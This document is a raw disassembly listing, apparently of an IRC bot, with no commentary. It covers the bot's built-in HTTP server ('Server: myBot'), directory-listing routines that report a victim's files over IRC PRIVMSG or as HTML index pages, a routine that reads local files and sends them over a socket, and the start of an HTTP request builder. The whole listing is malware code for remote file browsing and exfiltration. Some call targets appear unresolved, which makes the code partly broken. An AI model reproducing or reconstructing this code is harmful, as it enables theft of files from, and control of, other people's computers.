		push	offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_41B886
		add	esp, 24h
		jmp	short loc_40F636
; ---------------------------------------------------------------------------


loc_40F615:				; CODE XREF: sub_40F531+C5j
		push	[ebp+var_B8]
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_41B886
		add	esp, 28h


loc_40F636:				; CODE XREF: sub_40F531+E2j
		lea	eax, [ebp+var_1654]
		push	edi
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1654]
		push	eax
		push	[ebp+var_44C]
		call	dword_4CB6A4
		cmp	[ebp+var_A4], edi
		jnz	short loc_40F676
		lea	eax, [ebp+var_550]
		push	eax
		push	[ebp+var_44C]
		call	sub_40FFF1
		pop	ecx
		pop	ecx
		jmp	short loc_40F693
; ---------------------------------------------------------------------------


loc_40F676:				; CODE XREF: sub_40F531+12Dj
		lea	eax, [ebp+var_654]
		push	eax
		push	edi
		push	[ebp+var_44C]
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_40F96B
		add	esp, 10h


loc_40F693:				; CODE XREF: sub_40F531+143j
		push	[ebp+var_44C]
		call	dword_4CB6EC
		push	[ebp+var_B4]
		call	sub_40B413
		pop	ecx
		push	edi
		nop
		call	near ptr 26E0000h
		pop	edi
		pop	esi
sub_40F531	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F6B4	proc near		; CODE XREF: sub_40F0D6+3C0p

var_8C4		= byte ptr -8C4h
var_6C4		= dword	ptr -6C4h
var_640		= byte ptr -640h
var_53C		= byte ptr -53Ch
var_330		= dword	ptr -330h
var_32C		= dword	ptr -32Ch
var_31C		= dword	ptr -31Ch
var_318		= dword	ptr -318h
var_314		= byte ptr -314h
var_211		= byte ptr -211h
var_210		= byte ptr -210h
var_10C		= byte ptr -10Ch
var_10B		= byte ptr -10Bh
var_10A		= byte ptr -10Ah
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 8C4h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	104h
		lea	eax, [ebp+var_210]
		push	edi
		push	eax
		mov	[ebp+var_4], edi
		call	sub_41B590
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		cmp	byte ptr [eax],	2Fh
		jz	short loc_40F6EA
		push	eax
		push	offset aS_3	; "\\%s"
		jmp	short loc_40F6F3
; ---------------------------------------------------------------------------


loc_40F6EA:				; CODE XREF: sub_40F6B4+2Cj
		push	eax
		mov	byte ptr [eax],	5Ch
		push	offset aS_1	; "%s"


loc_40F6F3:				; CODE XREF: sub_40F6B4+34j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_10C]
		xor	esi, esi
		xor	ebx, ebx
		push	eax
		call	sub_41AFE0
		test	eax, eax
		pop	ecx
		jbe	short loc_40F78E
		mov	[ebp+arg_8], 2


loc_40F71E:				; CODE XREF: sub_40F6B4+D8j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41AFE0
		cmp	[ebp+arg_8], eax
		pop	ecx
		jnb	short loc_40F75E
		cmp	[ebp+esi+var_10C], 25h
		jnz	short loc_40F75E
		cmp	[ebp+esi+var_10B], 32h
		jnz	short loc_40F75E
		cmp	[ebp+esi+var_10A], 30h
		jnz	short loc_40F75E
		inc	esi
		mov	[ebp+ebx+var_210], 20h
		inc	esi
		add	[ebp+arg_8], 2
		jmp	short loc_40F778
; ---------------------------------------------------------------------------


loc_40F75E:				; CODE XREF: sub_40F6B4+7Aj
					; sub_40F6B4+84j ...
		mov	al, [ebp+esi+var_10C]
		cmp	al, 2Fh
		jnz	short loc_40F76E
		push	5Ch
		pop	eax
		jmp	short loc_40F771
; ---------------------------------------------------------------------------


loc_40F76E:				; CODE XREF: sub_40F6B4+B3j
		movsx	eax, al


loc_40F771:				; CODE XREF: sub_40F6B4+B8j
		mov	[ebp+ebx+var_210], al


loc_40F778:				; CODE XREF: sub_40F6B4+A8j
		lea	eax, [ebp+var_10C]
		inc	esi
		inc	[ebp+arg_8]
		push	eax
		inc	ebx
		call	sub_41AFE0
		cmp	esi, eax
		pop	ecx
		jb	short loc_40F71E


loc_40F78E:				; CODE XREF: sub_40F6B4+61j
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_314]
		push	[ebp+arg_4]
		push	offset dword_429ACC
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_314]
		push	offset asc_42A0A0 ; "\n"
		push	eax
		call	sub_41C0F4
		add	esp, 18h
		lea	eax, [ebp+var_314]
		push	eax
		nop
		call	near ptr 2680C71h
		push	1
		cmp	eax, 10h
		pop	esi
		jz	short loc_40F7DF
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40F7E2
		push	[ebp+arg_0]
		jmp	loc_40F862
; ---------------------------------------------------------------------------


loc_40F7DF:				; CODE XREF: sub_40F6B4+11Cj
		mov	[ebp+var_4], esi


loc_40F7E2:				; CODE XREF: sub_40F6B4+121j
		cmp	[ebp+ebx+var_211], 5Ch
		jnz	short loc_40F7EF
		mov	[ebp+var_4], esi


loc_40F7EF:				; CODE XREF: sub_40F6B4+136j
		mov	ebx, [ebp+arg_0]
		cmp	[ebp+var_4], edi
		mov	[ebp+var_6C4], ebx
		mov	[ebp+var_318], edi
		jz	short loc_40F86D
		cmp	[ebp+arg_C], edi
		jz	short loc_40F861
		lea	eax, [ebp+var_314]
		push	offset asc_4341A0 ; "*"
		push	eax
		call	sub_41BEC0
		pop	ecx
		lea	eax, [ebp+var_314]
		pop	ecx
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_4100AE
		add	esp, 0Ch
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_53C]
		push	eax
		call	sub_41B886
		or	[ebp+var_330], 0FFFFFFFFh
		pop	ecx
		pop	ecx
		mov	[ebp+var_31C], esi
		jmp	short loc_40F8BC
; ---------------------------------------------------------------------------


loc_40F861:				; CODE XREF: sub_40F6B4+152j
		push	ebx


loc_40F862:				; CODE XREF: sub_40F6B4+126j
		call	dword_4CB6EC
		jmp	loc_40F964
; ---------------------------------------------------------------------------


loc_40F86D:				; CODE XREF: sub_40F6B4+14Dj
		push	edi
		push	edi
		push	3
		push	edi
		push	esi
		lea	eax, [ebp+var_314]
		push	80000000h
		push	eax
		call	near ptr 27009BAh
		nop
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40F8BC
		lea	eax, [ebp+var_314]
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_41B886
		pop	ecx
		mov	[ebp+var_31C], edi
		pop	ecx
		push	edi
		push	esi
		nop
		call	near ptr 2730A95h
		push	esi
		mov	[ebp+var_330], eax
		nop
		call	near ptr 26608E3h


loc_40F8BC:				; CODE XREF: sub_40F6B4+1ABj
					; sub_40F6B4+1D6j
		mov	esi, [ebp+arg_10]
		lea	eax, [ebp+var_8C4]
		push	esi
		push	offset unk_43416C
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp+var_8C4]
		push	3
		push	eax
		call	sub_40B0F7
		mov	[ebp+var_32C], eax
		imul	eax, 234h
		add	esp, 18h
		mov	dword_43E594[eax], esi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_6C4]
		push	edi
		push	eax
		push	offset sub_40F531
		push	edi
		push	edi
		nop
		call	near ptr 2680000h
		mov	ecx, [ebp+var_32C]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_43E5A4[ecx], eax
		jz	short loc_40F936


loc_40F924:				; CODE XREF: sub_40F6B4+280j
		cmp	[ebp+var_318], edi
		jnz	short loc_40F964
		push	5
		nop
		call	near ptr 2670EC6h
		jmp	short loc_40F924
; ---------------------------------------------------------------------------


loc_40F936:				; CODE XREF: sub_40F6B4+26Ej
		push	ebx
		call	dword_4CB6EC
		nop
		call	near ptr 2680867h
		push	eax
		lea	eax, [ebp+var_8C4]
		push	offset unk_434134
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_8C4]
		push	eax
		call	sub_4151AD
		add	esp, 10h


loc_40F964:				; CODE XREF: sub_40F6B4+1B4j
					; sub_40F6B4+276j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_40F6B4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F96B	proc near		; CODE XREF: sub_401ACD+777Bp
					; sub_40F531+15Ap

var_594		= byte ptr -594h
var_490		= byte ptr -490h
var_388		= dword	ptr -388h
var_374		= byte ptr -374h
var_368		= dword	ptr -368h
var_35C		= byte ptr -35Ch
var_248		= byte ptr -248h
var_48		= byte ptr -48h
var_20		= byte ptr -20h
var_18		= word ptr -18h
var_16		= word ptr -16h
var_12		= word ptr -12h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 594h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	104h
		lea	eax, [ebp+var_594]
		push	ebx
		push	eax
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], ebx
		call	sub_41B590
		mov	edi, [ebp+arg_0]
		push	offset asc_42A0A0 ; "\n"
		push	edi
		call	sub_41C0F4
		add	esp, 14h
		cmp	[ebp+arg_8], ebx
		jz	short loc_40F9CA
		push	edi
		mov	esi, 200h
		push	[ebp+arg_8]
		lea	eax, [ebp+var_248]
		push	offset aPrivmsgSSearch ; "PRIVMSG %s :Searching	for: %s\r\n"
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 14h
		jmp	loc_40FAC9
; ---------------------------------------------------------------------------


loc_40F9CA:				; CODE XREF: sub_40F96B+3Aj
		cmp	[ebp+arg_C], ebx
		push	edi
		jz	loc_40FAAF
		call	sub_41AFE0
		pop	ecx
		mov	[eax+edi-1], bl
		push	edi
		mov	esi, 200h
		push	offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB6A4
		push	edi
		push	offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB6A4
		push	edi
		call	sub_41AFE0
		pop	ecx
		mov	byte ptr [eax+edi], 2Ah
		push	3Ch
		push	96h
		push	0E6h
		push	offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 18h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB6A4
		push	offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		jmp	short loc_40FAC9
; ---------------------------------------------------------------------------


loc_40FAAF:				; CODE XREF: sub_40F96B+63j
		mov	esi, 200h
		push	offset aSearchingForS ;	"Searching for:	%s\r\n"
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h


loc_40FAC9:				; CODE XREF: sub_40F96B+5Aj
					; sub_40F96B+142j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB6A4
		cmp	[ebp+arg_C], ebx
		jz	short loc_40FB64
		push	[ebp+arg_C]
		call	sub_41AFE0
		cmp	eax, 2
		pop	ecx
		jbe	short loc_40FB64
		push	[ebp+arg_C]
		call	sub_41AFE0
		sub	eax, 3
		pop	ecx
		jz	short loc_40FB15


loc_40FB09:				; CODE XREF: sub_40F96B+1A8j
		mov	ecx, [ebp+arg_C]
		cmp	byte ptr [eax+ecx], 2Fh
		jz	short loc_40FB15
		dec	eax
		jnz	short loc_40FB09


loc_40FB15:				; CODE XREF: sub_40F96B+19Cj
					; sub_40F96B+1A5j
		inc	eax
		push	eax
		lea	eax, [ebp+var_594]
		push	[ebp+arg_C]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch
		lea	eax, [ebp+var_594]
		push	eax
		push	offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB6A4


loc_40FB64:				; CODE XREF: sub_40F96B+180j
					; sub_40F96B+18Ej
		lea	eax, [ebp+var_388]
		push	eax
		push	edi
		nop
		call	near ptr 25C0000h
		lea	ecx, [ebp+var_388]
		mov	[ebp+arg_0], eax
		push	ecx
		push	eax
		nop
		call	near ptr 27502F0h
		test	eax, eax
		jz	loc_40FF54
		mov	edi, 1FFh


loc_40FB90:				; CODE XREF: sub_40F96B+5E3j
		cmp	[ebp+var_388], ebx
		jz	loc_40FF3C
		lea	eax, [ebp+var_35C]
		push	offset a__	; ".."
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FF3C
		lea	eax, [ebp+var_35C]
		push	offset a_	; "."
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FF3C
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_374]
		push	eax
		nop
		call	near ptr 2750000h
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		call	near ptr 2740991h
		nop
		mov	ax, [ebp+var_10]
		mov	ecx, offset aPm	; "PM"
		cmp	ax, 0Ch
		ja	short loc_40FC05
		mov	ecx, offset aAm	; "AM"


loc_40FC05:				; CODE XREF: sub_40F96B+293j
		cmp	ax, 0Ch
		movzx	eax, ax
		jbe	short loc_40FC11
		sub	eax, 0Ch


loc_40FC11:				; CODE XREF: sub_40F96B+2A1j
		push	ecx
		movzx	ecx, [ebp+var_E]
		push	ecx
		push	eax
		movzx	eax, [ebp+var_18]
		push	eax
		movzx	eax, [ebp+var_12]
		push	eax
		movzx	eax, [ebp+var_16]
		push	eax
		lea	eax, [ebp+var_48]
		push	offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d  %2.2d:%2.2d %s"
		push	eax
		call	sub_41B886
		add	esp, 20h
		test	byte ptr [ebp+var_388],	10h
		jz	loc_40FDB4
		inc	[ebp+var_8]
		cmp	[ebp+arg_8], ebx
		jz	short loc_40FC85
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s  %-21s\n"
		jmp	loc_40FEFD
; ---------------------------------------------------------------------------


loc_40FC85:				; CODE XREF: sub_40F96B+2E0j
		cmp	[ebp+arg_C], ebx
		jz	loc_40FD6F
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB6A4
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset aSS_0	; "%s%s/"
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB6A4
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_41AFE0
		cmp	eax, 1Eh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		jbe	short loc_40FD25
		push	offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
		jmp	short loc_40FD2A
; ---------------------------------------------------------------------------


loc_40FD25:				; CODE XREF: sub_40F96B+3B1j
		push	offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"


loc_40FD2A:				; CODE XREF: sub_40F96B+3B8j
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB6A4
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_40FEFE
; ---------------------------------------------------------------------------


loc_40FD6F:				; CODE XREF: sub_40F96B+31Dj
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		push	offset a31s21s	; "%-31s  %-21s\r\n"
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 14h
		jmp	loc_40FF0D
; ---------------------------------------------------------------------------


loc_40FDB4:				; CODE XREF: sub_40F96B+2D4j
		inc	[ebp+var_4]
		cmp	[ebp+arg_8], ebx
		jz	short loc_40FDF3
		push	ebx
		push	[ebp+var_368]
		call	sub_416923
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s  %-21s (%s bytes)\n"
		push	esi


loc_40FDDF:				; CODE XREF: sub_40F96B+577j
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41B980
		add	esp, 1Ch
		jmp	loc_40FF0D
; ---------------------------------------------------------------------------


loc_40FDF3:				; CODE XREF: sub_40F96B+44Fj
		cmp	[ebp+arg_C], ebx
		jz	loc_40FEE7
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB6A4
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset dword_429ACC
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB6A4
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_41AFE0
		cmp	eax, 1Fh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		jbe	short loc_40FE93
		push	offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
		jmp	short loc_40FE98
; ---------------------------------------------------------------------------


loc_40FE93:				; CODE XREF: sub_40F96B+51Fj
		push	offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"


loc_40FE98:				; CODE XREF: sub_40F96B+526j
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB6A4
		mov	eax, [ebp+var_368]
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_40FDDF
; ---------------------------------------------------------------------------


loc_40FEE7:				; CODE XREF: sub_40F96B+48Bj
		push	[ebp+var_368]
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset a31s21sIBytes ; "%-31s  %-21s (%i bytes)\r\n"


loc_40FEFD:				; CODE XREF: sub_40F96B+315j
		push	esi


loc_40FEFE:				; CODE XREF: sub_40F96B+3FFj
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41B980
		add	esp, 18h


loc_40FF0D:				; CODE XREF: sub_40F96B+444j
					; sub_40F96B+483j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB6A4
		cmp	[ebp+arg_8], ebx
		jz	short loc_40FF3C
		push	7D0h
		nop
		call	near ptr 2670EC6h


loc_40FF3C:				; CODE XREF: sub_40F96B+22Bj
					; sub_40F96B+246j ...
		lea	eax, [ebp+var_388]
		push	eax
		push	[ebp+arg_0]
		nop
		call	near ptr 27502F0h
		test	eax, eax
		jnz	loc_40FB90


loc_40FF54:				; CODE XREF: sub_40F96B+21Aj
		push	[ebp+arg_0]
		nop
		call	near ptr 2740000h
		cmp	[ebp+arg_8], ebx
		jz	short loc_40FF97
		mov	eax, [ebp+var_8]
		cdq
		push	edx
		push	eax
		call	sub_416923
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_4]
		cdq
		push	edx
		push	eax
		call	sub_416923
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_8]
		push	offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"...
		push	eax
		call	sub_41B886
		add	esp, 14h
		jmp	short loc_40FFCB
; ---------------------------------------------------------------------------


loc_40FF97:				; CODE XREF: sub_40F96B+5F5j
		cmp	[ebp+arg_C], ebx
		jz	short loc_40FFB1
		lea	eax, [ebp+var_248]
		push	offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	short loc_40FFCB
; ---------------------------------------------------------------------------


loc_40FFB1:				; CODE XREF: sub_40F96B+62Fj
		push	[ebp+var_8]
		lea	eax, [ebp+var_248]
		push	[ebp+var_4]
		push	offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n"
		push	eax
		call	sub_41B886
		add	esp, 10h


loc_40FFCB:				; CODE XREF: sub_40F96B+62Aj
					; sub_40F96B+644j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB6A4
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_40F96B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FFF1	proc near		; CODE XREF: sub_40F531+13Cp

var_404		= byte ptr -404h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 404h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	3
		push	esi
		push	1
		push	80000000h
		push	[ebp+arg_4]
		mov	edi, 400h
		mov	[ebp+var_4], esi
		call	near ptr 27009BAh
		nop
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_4100A9
		push	esi
		push	ebx
		nop
		call	near ptr 2730A95h
		cmp	eax, esi
		mov	[ebp+arg_4], eax
		jz	short loc_4100A2


loc_410036:				; CODE XREF: sub_40FFF1+AFj
		push	400h
		lea	eax, [ebp+var_404]
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 0Ch


loc_41004B:				; DATA XREF: ___:00438128o
		cmp	edi, [ebp+arg_4]


loc_41004E:				; DATA XREF: ___:0043813Co
		jbe	short loc_410053
		mov	edi, [ebp+arg_4]


loc_410053:				; CODE XREF: sub_40FFF1:loc_41004Ej
		mov	eax, [ebp+arg_4]
		push	2
		neg	eax
		push	esi
		push	eax
		push	ebx
		call	near ptr 2760000h
		nop
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	ebx
		nop
		call	near ptr 2700000h
		push	esi
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB6A4
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41009D
		call	dword_4CB5E8
		cmp	eax, 2733h
		jnz	short loc_4100A2
		xor	eax, eax


loc_41009D:				; CODE XREF: sub_40FFF1+9Bj
		sub	[ebp+arg_4], eax
		jnz	short loc_410036


loc_4100A2:				; CODE XREF: sub_40FFF1+43j
					; sub_40FFF1+A8j
		push	ebx
		nop
		call	near ptr 26608E3h


loc_4100A9:				; CODE XREF: sub_40FFF1+30j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40FFF1	endp


; =============== S U B	R O U T	I N E =======================================



sub_4100AE	proc near		; CODE XREF: sub_40F6B4+181p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		xor	esi, esi
		push	edi
		call	sub_41AFE0
		test	eax, eax
		pop	ecx
		jbe	short loc_4100D7


loc_4100C1:				; CODE XREF: sub_4100AE+27j
		cmp	byte ptr [esi+edi], 5Ch
		jnz	short loc_4100CB
		mov	byte ptr [esi+edi], 2Fh


loc_4100CB:				; CODE XREF: sub_4100AE+17j
		push	edi
		inc	esi
		call	sub_41AFE0
		cmp	esi, eax
		pop	ecx
		jb	short loc_4100C1


loc_4100D7:				; CODE XREF: sub_4100AE+11j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_4100AE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4100DC	proc near		; CODE XREF: sub_401ACD+5298p

var_4A0		= byte ptr -4A0h
var_310		= byte ptr -310h
var_110		= byte ptr -110h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 4A0h
		push	ebx
		lea	eax, [ebp+var_4A0]
		push	edi
		push	eax
		push	101h
		call	dword_4CB5C4
		push	6
		push	1
		push	2
		call	dword_4CB6D4
		mov	ebx, eax
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_14]
		call	dword_4CB654
		push	[ebp+arg_10]
		mov	[ebp+var_E], ax
		call	sub_40AAFA
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_4CB5FC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4101B9
		mov	eax, [ebp+arg_20]
		cmp	eax, edi
		jnz	short loc_410155
		mov	eax, offset dword_43D808


loc_410155:				; CODE XREF: sub_4100DC+72j
		push	esi
		mov	esi, 100h
		push	[ebp+arg_10]
		push	eax
		lea	eax, [ebp+var_110]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	offset aSSHttp1_1Refer ; "%s %s	HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 1Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
